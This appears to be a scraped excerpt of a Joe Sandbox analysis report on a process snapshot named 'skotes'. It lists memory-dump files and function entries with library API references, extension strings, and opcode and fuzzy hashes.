Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 8f10b02dea110e43a1e379013a006bcb8e046337a0ec199d06c13423198e9e8e
Instruction ID: 9dfbb1791f90df75cad97a395153dc06d0aa6e865aa3e9104c755f59cf9618cc
Opcode Fuzzy Hash: 8f10b02dea110e43a1e379013a006bcb8e046337a0ec199d06c13423198e9e8e
Instruction Fuzzy Hash: EC8160B0A11B52FAD719EF74C445BD9FAA8BF09704F10425BF528D7281DBB4A620CBD1

Function 0039CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0039CC66

Strings

v9, xrefs: 0039CBE1

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v9
API String ID: 3213747228-3260138212
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: ec0ffafc11a6ef6101f12a42eb61f50687ec858189b379b8a41b381153e9be81
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 34B12432D246859FDF16CF28C8917BEBFE5EF4A340F15516AE855EB242D6348D02CB60

Function 003A67A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 003A6902
__alloca_probe_16.LIBCMT ref: 003A6998
__freea.LIBCMT ref: 003A6A03
__freea.LIBCMT ref: 003A6A0F

Strings

ej:, xrefs: 003A6949, 003A681A

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: ej:
API String ID: 1635606685-3896740422
Opcode ID: 09d423dbd1328cd9234cae623ef5024b5a3e58e493c655edc631c8b67803b195
Instruction ID: 4062a7e051b217d7752efcfa4a903061954fcbec5ddef883322d9d248354f2d6
Opcode Fuzzy Hash: 09d423dbd1328cd9234cae623ef5024b5a3e58e493c655edc631c8b67803b195
Instruction Fuzzy Hash: 7F81B1B2D002459BDF229F648882AEF7BBDDF4A754F1E4059E915BB241E739CC40CBA0

Function 00391B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00391B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00391B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00391C2A

Strings

switchState, xrefs: 00391B5E
pContext, xrefs: 00391C22

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: ecbdd6e9e7d05fc5f273b9506b3eee4c7fce5788a4ab2efeba1e7689cd7efc98
Instruction ID: d5ac6ca8bd3c805b16b26baa1d8f7e6b3b9b6a782324f0c02c2b9ab4ac2e1dcc
Opcode Fuzzy Hash: ecbdd6e9e7d05fc5f273b9506b3eee4c7fce5788a4ab2efeba1e7689cd7efc98
Instruction Fuzzy Hash: 9D31D835A00205AFCF17EF68C8819AEB3BAFF44314F214565E915AB281EB71ED05CAD0

Function 0039727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 003972BE

Strings

.cmd, xrefs: 003972DC
.bat, xrefs: 003972ED
.exe, xrefs: 003972CB
.com, xrefs: 003972FE

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 39b3a1d80cbcfe59f6b573a63ab5432eb64ff4d033d877934c4c2b9a68ba2866
Instruction ID: 4752281f6f70690486a670cac27b65b70a08187dd64b79fc653e838174e898cc
Opcode Fuzzy Hash: 39b3a1d80cbcfe59f6b573a63ab5432eb64ff4d033d877934c4c2b9a68ba2866
Instruction Fuzzy Hash: 90014E3B728616356E17101AAE427F7538C8BC2BB8717012AFC54FB5C1DF44DC4261E0

Function 0037FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0037FB06

Strings

GetThreadGroupAffinity, xrefs: 0037FA93
GetCurrentProcessorNumberEx, xrefs: 0037FABE
kernel32.dll, xrefs: 0037FA7A
SetThreadGroupAffinity, xrefs: 0037FA87

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
